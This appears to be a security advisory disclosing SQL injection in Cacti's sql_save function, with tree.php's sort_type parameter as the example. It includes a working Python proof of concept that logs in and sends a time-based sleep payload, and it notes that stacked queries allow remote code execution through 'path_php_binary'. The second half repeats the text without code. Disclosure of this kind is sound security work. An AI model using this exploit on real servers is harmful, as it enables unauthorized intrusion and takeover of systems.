Summary
During the review of this project, a defect in the sql_save function was discovered. When the column type is numeric, the sql_save function directly utilizes user input. Many files and functions calling the sql_save function do not perform prior validation of user input, leading to the existence of multiple SQL injection vulnerabilities in Cacti. This allows authenticated users to exploit these SQL injection vulnerabilities to perform privilege escalation and remote code execution.
Details
Cacti implements the sql_save
function to save information to the database, and numerous endpoints utilize this function for information storage. The code for the sql_save
function is provided below:
lib/database.php
function sql_save($array_items, $table_name, $key_cols = 'id', $autoinc = true, $db_conn = false) {
// ...
$cols = db_get_table_column_types($table_name, $db_conn);
foreach ($array_items as $key => $value) {
// ...
if (strstr($cols[$key]['type'], 'int') !== false ||
strstr($cols[$key]['type'], 'float') !== false ||
strstr($cols[$key]['type'], 'double') !== false ||
strstr($cols[$key]['type'], 'decimal') !== false) {
if ($value == '') {
if ($cols[$key]['null'] == 'YES') {
// TODO: We should make 'NULL', but there are issues that need to be addressed first
$array_items[$key] = 0;
} elseif (strpos($cols[$key]['extra'], 'auto_increment') !== false) {
$array_items[$key] = 0;
} elseif ($cols[$key]['default'] == '') {
// TODO: We should make 'NULL', but there are issues that need to be addressed first
$array_items[$key] = 0;
} else {
$array_items[$key] = $cols[$key]['default'];
}
} elseif (empty($value)) {
$array_items[$key] = 0;
} else {
$array_items[$key] = $value;
}
} else {
$array_items[$key] = db_qstr($value);
}
}
$replace_result = _db_replace($db_conn, $table_name, $array_items, $key_cols);
The db_get_table_column_types
function retrieves column information for a table that is to be saved. SQL statements are constructed based on the column information obtained from this function. If the column is of a non-numeric type (not int, float, double, or decimal), it is handled appropriately by db_qstr
. However, if it is numeric, the value is stored in $array_items[$key]
without any validation. $array_items
is an array holding the information to be stored, and it is later directly incorporated into the SQL statement by _db_replace
.
In other words, utilizing the sql_save
function without validation of user input leads to SQL injection vulnerabilities. In Cacti, many files and endpoints make use of the sql_save
function without proper user input validation, consequently leading to multiple SQL injection vulnerabilities.
As an example of a vulnerability, examine the form_save
function in the tree.php
file. The sql_save
function is utilized to save user input to the graph_tree
table, but only the id
and sequence
parameters are subject to input validation. Upon inspecting the structure of the graph_tree
table, it becomes apparent that the sort_type
column is defined as a tinyint type. Since it contains an integer value, it is used directly in the SQL statement within the sql_save
function, but notably, it is not validated in the form_save
function.
tree.php
function form_save() {
// ...
if (isset_request_var('save_component_tree')) {
/* ================= input validation ================= */
get_filter_request_var('id');
get_filter_request_var('sequence');
/* ==================================================== */
// ...
$save['id'] = get_request_var('id');
$save['name'] = form_input_validate(get_nfilter_request_var('name'), 'name', '', false, 3);
$save['sort_type'] = form_input_validate(get_nfilter_request_var('sort_type'), 'sort_type', '', true, 3);
$save['last_modified'] = date('Y-m-d H:i:s', time());
$save['enabled'] = get_nfilter_request_var('enabled') == 'true' ? 'on':'-';
$save['modified_by'] = $_SESSION['sess_user_id'];
// ...
if (!is_error_message()) {
$tree_id = sql_save($save, 'graph_tree');
cacti.sql
CREATE TABLE graph_tree (
`id` smallint(5) unsigned NOT NULL auto_increment,
`enabled` char(2) DEFAULT 'on',
`locked` tinyint(3) unsigned DEFAULT '0',
`locked_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
`sort_type` tinyint(3) unsigned NOT NULL default '1',
`name` varchar(255) NOT NULL default '',
`sequence` int(10) unsigned DEFAULT '1',
`user_id` int(10) unsigned DEFAULT '1',
`last_modified` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified_by` int(10) unsigned DEFAULT '1',
PRIMARY KEY (`id`),
KEY `sequence` (`sequence`),
KEY `name` (`name`(171))
) ENGINE=InnoDB ROW_FORMAT=Dynamic;
PoC
By running the following Python3 code, you will observe a delay of 10 seconds in the response, which indicates the occurrence of SQL injection.
import argparse
import requests
import sys
import urllib3
#import os
#os.environ['http_proxy'] = 'http://localhost:8080'
sleep_time = 10
payload = f"""(select sleep({sleep_time}))"""
def get_csrf_token():
url = f"{target}/index.php"
res_body = session.get(url).content.decode()
csrf_token = res_body.split('var csrfMagicToken = "')[1].split('"')[0]
if not csrf_token:
print("[-] Unable to find csrf_token")
sys.exit()
return csrf_token
def login(username,password):
login_url = f"{target}/index.php"
csrf_token = get_csrf_token()
data = {'action':'login','login_username':username,'login_password':password,'__csrf_magic':csrf_token}
res_body = session.post(login_url,data=data).content.decode()
if 'You are now logged into <' in res_body:
print('[+] Login successful!')
else:
print('[-] Login failed. Check your credentials')
sys.exit()
def exploit():
url = f"{target}/tree.php"
csrf_token = get_csrf_token()
data = {
"__csrf_magic":csrf_token,
"name":"test",
"sort_type":payload,
"id":"0",
"sequence":"",
"save_component_tree":"1",
"action":"save"
}
print('[+] Sending payload...')
print(f"[+] Payload: {payload}")
session.post(url,data=data)
if __name__=='__main__':
urllib3.disable_warnings()
parser = argparse.ArgumentParser(description="Cacti 1.2.24 - tree.php 'sort_type' SQL Injection (authenticated)")
parser.add_argument('-t','--target',help='',required=True)
parser.add_argument('-u','--username',help='',required=True)
parser.add_argument('-p','--password',help='',required=True)
args = parser.parse_args()
username = args.username
password = args.password
target = args.target
session = requests.Session()
login(username,password)
exploit()
Screenshots
Impact
This vulnerability presents a significant risk as authenticated users can exploit the SQL injection vulnerability to escalate privileges and execute remote code, potentially compromising the system's integrity and confidentiality.
As the application accepts stacked queries, it is possible to achieve remote code execution by altering the 'path_php_binary' value in the database.
Summary
During the review of this project, a defect in the sql_save function was discovered. When the column type is numeric, the sql_save function directly utilizes user input. Many files and functions calling the sql_save function do not perform prior validation of user input, leading to the existence of multiple SQL injection vulnerabilities in Cacti. This allows authenticated users to exploit these SQL injection vulnerabilities to perform privilege escalation and remote code execution.
Details
Cacti implements the
sql_save
function to save information to the database, and numerous endpoints utilize this function for information storage. The code for thesql_save
function is provided below:lib/database.php
The
db_get_table_column_types
function retrieves column information for a table that is to be saved. SQL statements are constructed based on the column information obtained from this function. If the column is of a non-numeric type (not int, float, double, or decimal), it is handled appropriately bydb_qstr
. However, if it is numeric, the value is stored in$array_items[$key]
without any validation.$array_items
is an array holding the information to be stored, and it is later directly incorporated into the SQL statement by_db_replace
.In other words, utilizing the
sql_save
function without validation of user input leads to SQL injection vulnerabilities. In Cacti, many files and endpoints make use of thesql_save
function without proper user input validation, consequently leading to multiple SQL injection vulnerabilities.As an example of a vulnerability, examine the
form_save
function in thetree.php
file. Thesql_save
function is utilized to save user input to thegraph_tree
table, but only theid
andsequence
parameters are subject to input validation. Upon inspecting the structure of thegraph_tree
table, it becomes apparent that thesort_type
column is defined as a tinyint type. Since it contains an integer value, it is used directly in the SQL statement within thesql_save
function, but notably, it is not validated in theform_save
function.tree.php
cacti.sql
PoC
By running the following Python3 code, you will observe a delay of 10 seconds in the response, which indicates the occurrence of SQL injection.
Screenshots
Impact
This vulnerability presents a significant risk as authenticated users can exploit the SQL injection vulnerability to escalate privileges and execute remote code, potentially compromising the system's integrity and confidentiality.
As the application accepts stacked queries, it is possible to achieve remote code execution by altering the 'path_php_binary' value in the database.